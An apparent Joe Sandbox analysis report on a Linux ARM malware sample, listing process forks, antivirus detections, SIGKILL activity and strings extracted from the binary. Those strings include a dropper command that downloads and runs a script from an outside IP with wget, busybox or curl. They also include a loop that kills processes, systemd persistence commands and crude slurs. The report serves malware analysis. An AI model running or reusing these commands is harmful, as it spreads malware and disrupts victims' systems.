grep (PID: 7389, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/93/maps

sh New Fork (PID: 7390, Parent: 6240)

grep (PID: 7390, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/936/maps

sh New Fork (PID: 7391, Parent: 6240)

grep (PID: 7391, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/94/maps

sh New Fork (PID: 7392, Parent: 6240)

grep (PID: 7392, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/95/maps

sh New Fork (PID: 7393, Parent: 6240)

grep (PID: 7393, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/96/maps

sh New Fork (PID: 7394, Parent: 6240)

grep (PID: 7394, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/97/maps

sh New Fork (PID: 7395, Parent: 6240)

grep (PID: 7395, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/98/maps

sh New Fork (PID: 7396, Parent: 6240)

grep (PID: 7396, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/99/maps

gnome-session-binary New Fork (PID: 6305, Parent: 1477)

sh (PID: 6305, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/bin/gnome-shell

gnome-shell (PID: 6305, Parent: 1477, MD5: da7a257239677622fe4b3a65972c9e87) Arguments: /usr/bin/gnome-shell

gnome-shell New Fork (PID: 6796, Parent: 6305)

ibus-daemon (PID: 6796, Parent: 6305, MD5: 1e00fb9860b198c73f6e364e3ff16f31) Arguments: ibus-daemon --panel disable --xim

ibus-daemon New Fork (PID: 6813, Parent: 6796)

ibus-memconf (PID: 6813, Parent: 6796, MD5: 523e939905910d06598e66385761a822) Arguments: /usr/libexec/ibus-memconf

ibus-daemon New Fork (PID: 6815, Parent: 6796)

ibus-daemon New Fork (PID: 6816, Parent: 6815)

ibus-x11 (PID: 6816, Parent: 1, MD5: 2aa1e54666191243814c2733d6992dbd) Arguments: /usr/libexec/ibus-x11 --kill-daemon

ibus-daemon New Fork (PID: 7161, Parent: 6796)

ibus-engine-simple (PID: 7161, Parent: 6796, MD5: 0238866d5e8802a0ce1b1b9af8cb1376) Arguments: /usr/libexec/ibus-engine-simple

gnome-session-binary New Fork (PID: 6333, Parent: 1477)

sh (PID: 6333, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-media-keys

gsd-media-keys (PID: 6333, Parent: 1477, MD5: a425448c135afb4b8bfd79cc0b6b74da) Arguments: /usr/libexec/gsd-media-keys

systemd New Fork (PID: 6371, Parent: 1)

systemd-hostnamed (PID: 6371, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed

xfce4-session New Fork (PID: 6539, Parent: 1900)

xfwm4 (PID: 6539, Parent: 1900, MD5: 59defa3c00cc30d85ed77b738d55e9da) Arguments: xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c

xfce4-session New Fork (PID: 6545, Parent: 1900)

xfce4-panel (PID: 6545, Parent: 1900, MD5: a15b657c7d54ac1385f1f15004ea6784) Arguments: xfce4-panel --display :1.0 --sm-client-id 2b4cc744e-8b9d-436f-9a4a-312b40faa2ec

xfce4-panel New Fork (PID: 6798, Parent: 6545)

wrapper-2.0 (PID: 6798, Parent: 6545, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 8388616 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 6800, Parent: 6545)

wrapper-2.0 (PID: 6800, Parent: 6545, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 8388617 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 6802, Parent: 6545)

wrapper-2.0 (PID: 6802, Parent: 6545, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 8388618 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 6803, Parent: 6545)

wrapper-2.0 (PID: 6803, Parent: 6545, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 8388619 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

wrapper-2.0 New Fork (PID: 6907, Parent: 6803)

xfpm-power-backlight-helper (PID: 6907, Parent: 6803, MD5: 3d221ad23f28ca3259f599b1664e2427) Arguments: /usr/sbin/xfpm-power-backlight-helper --get-max-brightness

xfce4-panel New Fork (PID: 6807, Parent: 6545)

wrapper-2.0 (PID: 6807, Parent: 6545, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 8388620 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 6821, Parent: 6545)

wrapper-2.0 (PID: 6821, Parent: 6545, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 8388621 actions "Action Buttons" "Log out, lock or other system actions"

xfce4-session New Fork (PID: 6552, Parent: 1900)

xfdesktop (PID: 6552, Parent: 1900, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542

xfce4-session New Fork (PID: 6593, Parent: 1900)

xfwm4 (PID: 6593, Parent: 1900, MD5: 59defa3c00cc30d85ed77b738d55e9da) Arguments: xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c

xfce4-session New Fork (PID: 6618, Parent: 1900)

xfdesktop (PID: 6618, Parent: 1900, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542

dbus-daemon New Fork (PID: 6633, Parent: 6632)

tumblerd (PID: 6633, Parent: 6632, MD5: 2ef099898845e9c5ec6f1a6fd3ad61af) Arguments: /usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd

systemd New Fork (PID: 6646, Parent: 1)

systemd-localed (PID: 6646, Parent: 1, MD5: 1244af9646256d49594f2a8203329aa9) Arguments: /lib/systemd/systemd-localed

xfce4-session New Fork (PID: 6795, Parent: 1900)

xfwm4 (PID: 6795, Parent: 1900, MD5: 59defa3c00cc30d85ed77b738d55e9da) Arguments: xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c

systemd New Fork (PID: 6801, Parent: 1860)

gvfs-udisks2-volume-monitor (PID: 6801, Parent: 1860, MD5: 4912ae23684d55062ac889dd671a8ab9) Arguments: /usr/libexec/gvfs-udisks2-volume-monitor

dbus-daemon New Fork (PID: 6819, Parent: 6818)

ibus-portal (PID: 6819, Parent: 6818, MD5: 562ad55bd9a4d54bd7b76746b01e37d3) Arguments: /usr/libexec/ibus-portal

xfce4-session New Fork (PID: 6836, Parent: 1900)

xfwm4 (PID: 6836, Parent: 1900, MD5: 59defa3c00cc30d85ed77b738d55e9da) Arguments: xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c

Xorg New Fork (PID: 6867, Parent: 1465)

sh (PID: 6867, Parent: 1465, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\"/usr/bin/xkbcomp\" -w 1 \"-R/usr/share/X11/xkb\" -xkm \"-\" -em1 \"The XKEYBOARD keymap compiler (xkbcomp) reports:\" -emp \"> \" -eml \"Errors from xkbcomp are not fatal to the X server\" \"/tmp/server-0.xkm\""

sh New Fork (PID: 6868, Parent: 6867)

xkbcomp (PID: 6868, Parent: 6867, MD5: c5f953aec4c00d2a1cc27acb75d62c9b) Arguments: /usr/bin/xkbcomp -w 1 -R/usr/share/X11/xkb -xkm - -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" /tmp/server-0.xkm

systemd New Fork (PID: 6911, Parent: 1)

accounts-daemon (PID: 6911, Parent: 1, MD5: 01a899e3fb5e7e434bea1290255a1f30) Arguments: /usr/lib/accountsservice/accounts-daemon

accounts-daemon New Fork (PID: 6940, Parent: 6911)

language-validate (PID: 6940, Parent: 6911, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/language-tools/language-validate en_US.UTF-8

language-validate New Fork (PID: 6942, Parent: 6940)

language-options (PID: 6942, Parent: 6940, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: /usr/share/language-tools/language-options

language-options New Fork (PID: 6943, Parent: 6942)

sh (PID: 6943, Parent: 6942, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "locale -a | grep -F .utf8 "

sh New Fork (PID: 6945, Parent: 6943)

locale (PID: 6945, Parent: 6943, MD5: c72a78792469db86d91369c9057f20d2) Arguments: locale -a

sh New Fork (PID: 6946, Parent: 6943)

grep (PID: 6946, Parent: 6943, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -F .utf8

xfce4-session New Fork (PID: 6922, Parent: 1900)

xfwm4 (PID: 6922, Parent: 1900, MD5: 59defa3c00cc30d85ed77b738d55e9da) Arguments: xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c

systemd New Fork (PID: 6968, Parent: 1)

geoclue (PID: 6968, Parent: 1, MD5: 30ac5455f3c598dde91dc87477fb19f7) Arguments: /usr/libexec/geoclue

dbus-daemon New Fork (PID: 7091, Parent: 7090)

gjs (PID: 7091, Parent: 7090, MD5: 5f3eceb792bb65c22f23d1efb4fde3ad) Arguments: /usr/bin/gjs /usr/share/gnome-shell/org.gnome.Shell.Notifications

systemd New Fork (PID: 7206, Parent: 1)

fprintd (PID: 7206, Parent: 1, MD5: b0d8829f05cd028529b84b061b660e84) Arguments: /usr/libexec/fprintd

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm.elf

ReversingLabs: Detection: 54%

Source: /usr/bin/gnome-shell (PID: 6305)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/xfwm4 (PID: 6539)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd (PID: 6633)	Reads CPU info from /sys: /sys/devices/system/cpu/online

Source: arm.elf	String: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: arm.elf	String: /proc//exe%s/%s/proc/%s/cmdlinerwgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe//mnt/root/dev/console/etc/rc.localwfopen#!/bin/sh
Source: arm.elf	String: systemctl daemon-reloadsystemctl enable startup_command.service/usr/bin/systemctl/etc/init.dfor pid in $(ls /proc \| grep -E '^[0-9]+$'); do grep -q '(deleted)' /proc/$pid/maps && kill -9 $pid \|\| true; done;cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch

Source: /usr/bin/ibus-daemon (PID: 6796)

Socket: unknown address family

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: arm.elf	String found in binary or memory: http://154.216.18.192/auto.sh
Source: arm.elf	String found in binary or memory: http://154.216.18.192/auto.sh;

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Sample tries to kill multiple processes (SIGKILL)

Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 1465, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 1532, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 1601, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 1648, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 1877, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 1890, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2009, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2050, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2063, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2074, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2097, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2114, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2180, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2195, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2226, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2242, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2275, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: Initial sample	String containing 'busybox' found: /proc//exe%s/%s/proc/%s/cmdlinerwgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe//mnt/root/dev/console/etc/rc.localwfopen#!/bin/sh
Source: Initial sample	String containing 'busybox' found: systemctl daemon-reloadsystemctl enable startup_command.service/usr/bin/systemctl/etc/init.dfor pid in $(ls /proc \| grep -E '^[0-9]+$'); do grep -q '(deleted)' /proc/$pid/maps && kill -9 $pid \|\| true; done;cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 1465, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 1532, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 1601, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 1648, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 1877, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 1890, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2009, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2050, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2063, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2074, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2097, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2114, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2180, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2195, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2226, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2242, result: successful	Jump to behavior
Source: /bin/sh (PID: 6240)	SIGKILL sent: pid: 2275, result: successful	Jump to behavior

Source: classification engine

Classification label: mal68.spre.troj.linELF@0/5@0/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /usr/bin/gnome-shell (PID: 6305)	File: /proc/6305/mounts			Jump to behavior
Source: /usr/bin/gjs (PID: 7091)	File: /proc/7091/mounts

Source: /usr/bin/gnome-shell (PID: 6305)	Directory: /var/lib/gdm3/.drirc	Jump to behavior
Source: /usr/bin/gnome-shell (PID: 6305)	Directory: /var/lib/gdm3/.Xdefaults	Jump to behavior
Source: /usr/bin/gnome-shell (PID: 6305)	Directory: /var/lib/gdm3/.Xdefaults-galassia	Jump to behavior
Source: /usr/libexec/ibus-x11 (PID: 6816)	Directory: /var/lib/gdm3/.Xdefaults	Jump to behavior
Source: /usr/libexec/ibus-x11 (PID: 6816)	Directory: /var/lib/gdm3/.Xdefaults-galassia	Jump to behavior
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /var/lib/gdm3/.Xdefaults
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /var/lib/gdm3/.Xdefaults-galassia
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale/en_US.UTF-8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale/en_US.utf8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale/en_US/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale/en.UTF-8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale/en.utf8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale/en/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale-langpack/en_US/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale-langpack/en.utf8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Directory: /usr/share/locale-langpack/en/LC_MESSAGES/.mo
Source: /lib/systemd/systemd-hostnamed (PID: 6371)	Directory: <invalid fd (10)>/..
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/opentype/malayalam/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/opentype/mathjax/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/opentype/noto/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/Gargi/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/Nakula/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/Navilu/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/Sarai/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/dejavu/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/droid/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/freefont/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/kacst/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lao/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lato/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/liberation/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/liberation2/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/malayalam/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/noto/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/openoffice/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/padauk/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/pagul/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/samyak/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/sinhala/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/tlwg/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/type1/urw-base35/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /usr/share/fonts/X11/encodings/large/.uuid
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /home/saturnino/.drirc
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /home/saturnino/.cache
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /home/saturnino/.local
